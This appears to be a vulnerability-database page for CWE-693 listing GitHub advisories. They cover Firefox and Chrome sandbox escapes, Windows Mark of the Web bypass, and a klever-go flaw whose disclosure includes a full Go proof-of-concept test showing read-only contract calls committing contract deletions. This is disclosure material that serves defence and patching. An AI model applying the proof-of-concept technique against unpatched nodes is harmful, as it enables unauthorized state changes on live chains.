CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
978 vulnerabilities reference this CWE, most recent first.
GHSA-J3CH-R4QX-FPVF
Vulnerability from github – Published: 2026-06-16 15:33 – Updated: 2026-07-15 12:31Sandbox escape in the DOM: Workers component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, and Firefox ESR 115.37.
{
"affected": [],
"aliases": [
"CVE-2026-12294"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-16T13:16:29Z",
"severity": "CRITICAL"
},
"details": "Sandbox escape in the DOM: Workers component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, and Firefox ESR 115.37.",
"id": "GHSA-j3ch-r4qx-fpvf",
"modified": "2026-07-15T12:31:49Z",
"published": "2026-06-16T15:33:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12294"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-61"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-60"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-59"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-58"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-57"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-12294.json"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489207"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2039873"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-12294"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:39706"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:39428"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:39142"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:39141"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:39011"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:38753"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:38751"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:38750"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:38506"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37391"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37210"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36103"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36102"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36101"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36100"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33445"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30846"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29940"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27734"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27733"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27717"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J3WX-VG3Q-5R45
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 15:35Inappropriate implementation in AI in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-14151"
],
"database_specific": {
"cwe_ids": [
"CWE-669",
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:26Z",
"severity": "CRITICAL"
},
"details": "Inappropriate implementation in AI in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-j3wx-vg3q-5r45",
"modified": "2026-07-01T15:35:10Z",
"published": "2026-07-01T00:34:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14151"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/517381770"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J54V-WW9J-CR6R
Vulnerability from github – Published: 2026-04-09 00:32 – Updated: 2026-04-13 21:30Policy bypass in Audio in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass sandbox download restrictions via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-5896"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T22:16:29Z",
"severity": "MODERATE"
},
"details": "Policy bypass in Audio in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass sandbox download restrictions via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-j54v-ww9j-cr6r",
"modified": "2026-04-13T21:30:38Z",
"published": "2026-04-09T00:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5896"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/40064543"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J594-4MW2-8PMC
Vulnerability from github – Published: 2024-03-05 12:30 – Updated: 2024-10-17 12:30A CWE-693 “Protection Mechanism Failure” vulnerability in the embedded Chromium browser (concerning the handling of alternative URLs, other than “ http://localhost” http://localhost” ) allows a physical attacker to read arbitrary files on the file system, alter the configuration of the embedded browser, and have other unspecified impacts to the confidentiality, integrity, and availability of the device. This issue affects: AiLux imx6 bundle below version imx6_1.0.7-2.
{
"affected": [],
"aliases": [
"CVE-2023-45593"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-05T12:15:46Z",
"severity": "MODERATE"
},
"details": "A CWE-693 \u201cProtection Mechanism Failure\u201d vulnerability in the embedded Chromium browser (concerning the handling of alternative URLs, other than \u201c http://localhost\u201d http://localhost\u201d ) allows a physical attacker to read arbitrary files on the file system, alter the configuration of the embedded browser, and have other unspecified impacts to the confidentiality, integrity, and availability of the device. This issue affects: AiLux imx6 bundle below version imx6_1.0.7-2.",
"id": "GHSA-j594-4mw2-8pmc",
"modified": "2024-10-17T12:30:51Z",
"published": "2024-03-05T12:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45593"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2023-45593"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J5J6-F7RX-WF55
Vulnerability from github – Published: 2024-09-10 18:30 – Updated: 2024-09-10 18:30Windows Mark of the Web Security Feature Bypass Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-43487"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-10T17:15:36Z",
"severity": "MODERATE"
},
"details": "Windows Mark of the Web Security Feature Bypass Vulnerability",
"id": "GHSA-j5j6-f7rx-wf55",
"modified": "2024-09-10T18:30:47Z",
"published": "2024-09-10T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43487"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43487"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J96J-V243-5H5M
Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-07 01:05Insufficient policy enforcement in DevTools in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to potentially perform a sandbox escape via malicious network traffic. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-8018"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-06T19:16:52Z",
"severity": "HIGH"
},
"details": "Insufficient policy enforcement in DevTools in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to potentially perform a sandbox escape via malicious network traffic. (Chromium security severity: Low)",
"id": "GHSA-j96j-v243-5h5m",
"modified": "2026-05-07T01:05:55Z",
"published": "2026-05-06T21:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8018"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/498292657"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J9CG-V2V5-9P35
Vulnerability from github – Published: 2022-09-27 00:00 – Updated: 2025-05-22 15:34Inappropriate implementation in Site Isolation in Google Chrome prior to 105.0.5195.52 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2022-3044"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-26T16:15:00Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Site Isolation in Google Chrome prior to 105.0.5195.52 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page.",
"id": "GHSA-j9cg-v2v5-9p35",
"modified": "2025-05-22T15:34:42Z",
"published": "2022-09-27T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3044"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2022/08/stable-channel-update-for-desktop_30.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1051198"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/40051481"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/T4NMJURTG5RO3TGD7ZMIQ6Z4ZZ3SAVYE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T4NMJURTG5RO3TGD7ZMIQ6Z4ZZ3SAVYE"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202209-23"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JC6W-WMFC-FH33
Vulnerability from github – Published: 2026-05-21 16:53 – Updated: 2026-05-21 16:53Publisher note
Fixed in v1.7.17. Operators running < v1.7.17 should upgrade. Contract delete and upgrade host-core paths now reject execution when runtime.ReadOnly() is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.
Patch commits on develop: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory).
This advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under GHSA-74m6-4hjp-7226 so each issue receives its own CVE.
The original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.
Private Vulnerability Report
Repository: klever-io/klever-go Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2 Disclosure channel: GitHub Private Vulnerability Reporting Reporter GitHub account: LoGGGG240211
2.2 KVM read-only execution can commit contract delete side effects
Severity : Medium Confidence : HIGH Attack Complexity : MEDIUM PoC Status : Confirmed
Description
KVM exposes ExecuteReadOnlyWithTypedArguments as a read-only execution mechanism. The hook saves the previous read-only state, sets runtime.SetReadOnly(true), executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when runtime.ReadOnly() is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to vmOutput.DeletedAccounts, the output context merges DeletedAccounts into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field.
The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output.
Location
- baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097
- baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099
- execution.go, doExecContractDelete(), line 237
- execution.go, doExecContractDelete(), line 246
- execution.go, executeUpgrade(), line 792
- execution.go, executeUpgrade(), line 831
- execution.go, executeDelete(), line 839
- execution.go, executeDelete(), line 849
- output.go, PopMergeActiveState(), line 103
- output.go, mergeVMOutputs(), line 615
- process.go, processVMOutput(), line 755
- process.go, processVMOutput(), line 765
Preconditions
- A contract workflow invokes a callee through KVM read-only execution.
- The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract.
- The target contract is upgradeable/deletable according to its KVM code metadata.
- No node operator privilege, validator role, oracle condition, or block-level timing condition is required.
Impact
Successful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that DeletedAccounts changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner.
Exploit Cost
The cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above.
Steps to Reproduce
- Place
poc_kvm_readonly_delete_side_effect_test.goin an empty directory. - Run the dependency commands listed in the PoC header.
- Run
GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go. - Observe that the parent contract invokes a child contract through
ExecuteReadOnlyWithTypedArguments. - Observe that the child contract uses the production managed delete hook against a target contract it owns.
- Observe that the final VM output contains the target address in
DeletedAccountsdespite the delete action being triggered through read-only execution.
Proof-of-Concept Result
Running GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output.
# command-line-arguments.test
/usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack
/usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker
=== RUN TestPoC_KVMReadOnlyCanCommitDeleteSideEffect
poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0
poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1
poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true
--- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s)
PASS
ok command-line-arguments 0.007s
Suggested Fix
Enforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when runtime.ReadOnly() is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.
Proof-of-Concept Source
poc_kvm_readonly_delete_side_effect_test.go
package poc
/*
Target contract : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address
Vulnerability : Read-only execution isolation bypass with contract delete side effect
Severity : Medium
How to run : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go
Expected output : The test passes and logs deleted_accounts_after=1 and target_deleted=true
Dependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go get github.com/stretchr/testify@v1.11.1; go mod tidy
*/
import (
"testing"
contextmock "github.com/klever-io/klever-go/kvm/mock/context"
worldmock "github.com/klever-io/klever-go/kvm/mock/world"
test "github.com/klever-io/klever-go/kvm/testcommon"
"github.com/klever-io/klever-go/kvm/vmhost/vmhooks"
"github.com/klever-io/klever-go/vmcommon"
"github.com/stretchr/testify/require"
)
func TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {
// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.
targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyTarget")
// Record the initial delete side-effect state before any read-only execution occurs.
deletedBefore := make([][]byte, 0)
require.NotContains(t, deletedBefore, targetAddress)
vmOutput, err := test.BuildMockInstanceCallTest(t).
WithContracts(
// The parent contract models the transaction entrypoint controlled by a user or contract workflow.
test.CreateMockContract(test.ParentAddress).
WithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {
parentInstance.AddMockMethod("callReadOnlyChild", func() *contextmock.InstanceMock {
host := parentInstance.Host
// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.
result := vmhooks.ExecuteReadOnlyWithTypedArguments(
host,
100000,
[]byte("deleteTarget"),
test.ChildAddress,
nil,
)
require.Equal(t, int32(0), result)
return parentInstance
})
}),
// The child contract is called in read-only mode but attempts to delete a contract it owns.
test.CreateMockContract(test.ChildAddress).
WithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {
childInstance.AddMockMethod("deleteTarget", func() *contextmock.InstanceMock {
host := childInstance.Host
managedTypes := host.ManagedTypes()
// Encode the target address and call the production ManagedDeleteContract hook.
destHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)
argsHandle := managedTypes.NewManagedBuffer()
managedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)
vmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)
return childInstance
})
}),
// The target contract is upgradeable/deletable and owned by the read-only child.
test.CreateMockContract(targetAddress).
WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).
WithOwnerAddress(test.ChildAddress).
WithMethods(),
).
// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.
WithInput(test.CreateTestContractCallInputBuilder().
WithRecipientAddr(test.ParentAddress).
WithGasProvided(500000).
WithFunction("callReadOnlyChild").
Build()).
AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})
require.NoError(t, err)
// The read-only nested call must not create delete side effects, but the vulnerable implementation does.
deletedAfter := vmOutput.DeletedAccounts
require.Greater(t, len(deletedAfter), len(deletedBefore))
require.Contains(t, deletedAfter, targetAddress)
t.Logf("deleted_accounts_before=%d", len(deletedBefore))
t.Logf("deleted_accounts_after=%d", len(deletedAfter))
t.Logf("target_deleted=%t", true)
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/klever-io/klever-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46403"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T16:53:32Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Publisher note\n\n**Fixed in `v1.7.17`.** Operators running `\u003c v1.7.17` should upgrade. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.\n\nPatch commits on `develop`: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory).\n\nThis advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under [GHSA-74m6-4hjp-7226](https://github.com/klever-io/klever-go/security/advisories/GHSA-74m6-4hjp-7226) so each issue receives its own CVE.\n\nThe original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.\n\n---\n\n# Private Vulnerability Report\n\nRepository: klever-io/klever-go\nReviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2\nDisclosure channel: GitHub Private Vulnerability Reporting\nReporter GitHub account: LoGGGG240211\n\n## 2.2 KVM read-only execution can commit contract delete side effects\n\nSeverity : Medium\nConfidence : HIGH\nAttack Complexity : MEDIUM\nPoC Status : Confirmed\n\n### Description\n\nKVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field.\n\nThe root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output.\n\n### Location\n\n1. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2097)\n2. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2099)\n3. [execution.go, doExecContractDelete(), line 237](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L237)\n4. [execution.go, doExecContractDelete(), line 246](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L246)\n5. [execution.go, executeUpgrade(), line 792](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L792)\n6. [execution.go, executeUpgrade(), line 831](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L831)\n7. [execution.go, executeDelete(), line 839](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L839)\n8. [execution.go, executeDelete(), line 849](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L849)\n9. [output.go, PopMergeActiveState(), line 103](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L103)\n10. [output.go, mergeVMOutputs(), line 615](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L615)\n11. [process.go, processVMOutput(), line 755](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L755)\n12. [process.go, processVMOutput(), line 765](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L765)\n\n### Preconditions\n\n1. A contract workflow invokes a callee through KVM read-only execution.\n2. The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract.\n3. The target contract is upgradeable/deletable according to its KVM code metadata.\n4. No node operator privilege, validator role, oracle condition, or block-level timing condition is required.\n\n### Impact\n\nSuccessful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that `DeletedAccounts` changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner.\n\n### Exploit Cost\n\nThe cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above.\n\n### Steps to Reproduce\n\n1. Place `poc_kvm_readonly_delete_side_effect_test.go` in an empty directory.\n2. Run the dependency commands listed in the PoC header.\n3. Run `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go`.\n4. Observe that the parent contract invokes a child contract through `ExecuteReadOnlyWithTypedArguments`.\n5. Observe that the child contract uses the production managed delete hook against a target contract it owns.\n6. Observe that the final VM output contains the target address in `DeletedAccounts` despite the delete action being triggered through read-only execution.\n\n### Proof-of-Concept Result\n\nRunning `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go` after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output.\n\n```text\n# command-line-arguments.test\n/usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack\n/usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker\n=== RUN TestPoC_KVMReadOnlyCanCommitDeleteSideEffect\n poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0\n poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1\n poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true\n--- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s)\nPASS\nok \tcommand-line-arguments\t0.007s\n```\n\n### Suggested Fix\n\nEnforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when `runtime.ReadOnly()` is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.\n\n## Proof-of-Concept Source\n\n### poc_kvm_readonly_delete_side_effect_test.go\n\n```go\npackage poc\n\n/*\nTarget contract : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address\nVulnerability : Read-only execution isolation bypass with contract delete side effect\nSeverity : Medium\nHow to run : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go\nExpected output : The test passes and logs deleted_accounts_after=1 and target_deleted=true\nDependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go get github.com/stretchr/testify@v1.11.1; go mod tidy\n*/\n\nimport (\n\t\"testing\"\n\n\tcontextmock \"github.com/klever-io/klever-go/kvm/mock/context\"\n\tworldmock \"github.com/klever-io/klever-go/kvm/mock/world\"\n\ttest \"github.com/klever-io/klever-go/kvm/testcommon\"\n\t\"github.com/klever-io/klever-go/kvm/vmhost/vmhooks\"\n\t\"github.com/klever-io/klever-go/vmcommon\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {\n\t// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.\n\ttargetAddress := test.MakeTestSCAddressWithDefaultVM(\"readonlyTarget\")\n\n\t// Record the initial delete side-effect state before any read-only execution occurs.\n\tdeletedBefore := make([][]byte, 0)\n\trequire.NotContains(t, deletedBefore, targetAddress)\n\n\tvmOutput, err := test.BuildMockInstanceCallTest(t).\n\t\tWithContracts(\n\t\t\t// The parent contract models the transaction entrypoint controlled by a user or contract workflow.\n\t\t\ttest.CreateMockContract(test.ParentAddress).\n\t\t\t\tWithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {\n\t\t\t\t\tparentInstance.AddMockMethod(\"callReadOnlyChild\", func() *contextmock.InstanceMock {\n\t\t\t\t\t\thost := parentInstance.Host\n\n\t\t\t\t\t\t// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.\n\t\t\t\t\t\tresult := vmhooks.ExecuteReadOnlyWithTypedArguments(\n\t\t\t\t\t\t\thost,\n\t\t\t\t\t\t\t100000,\n\t\t\t\t\t\t\t[]byte(\"deleteTarget\"),\n\t\t\t\t\t\t\ttest.ChildAddress,\n\t\t\t\t\t\t\tnil,\n\t\t\t\t\t\t)\n\t\t\t\t\t\trequire.Equal(t, int32(0), result)\n\n\t\t\t\t\t\treturn parentInstance\n\t\t\t\t\t})\n\t\t\t\t}),\n\t\t\t// The child contract is called in read-only mode but attempts to delete a contract it owns.\n\t\t\ttest.CreateMockContract(test.ChildAddress).\n\t\t\t\tWithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {\n\t\t\t\t\tchildInstance.AddMockMethod(\"deleteTarget\", func() *contextmock.InstanceMock {\n\t\t\t\t\t\thost := childInstance.Host\n\t\t\t\t\t\tmanagedTypes := 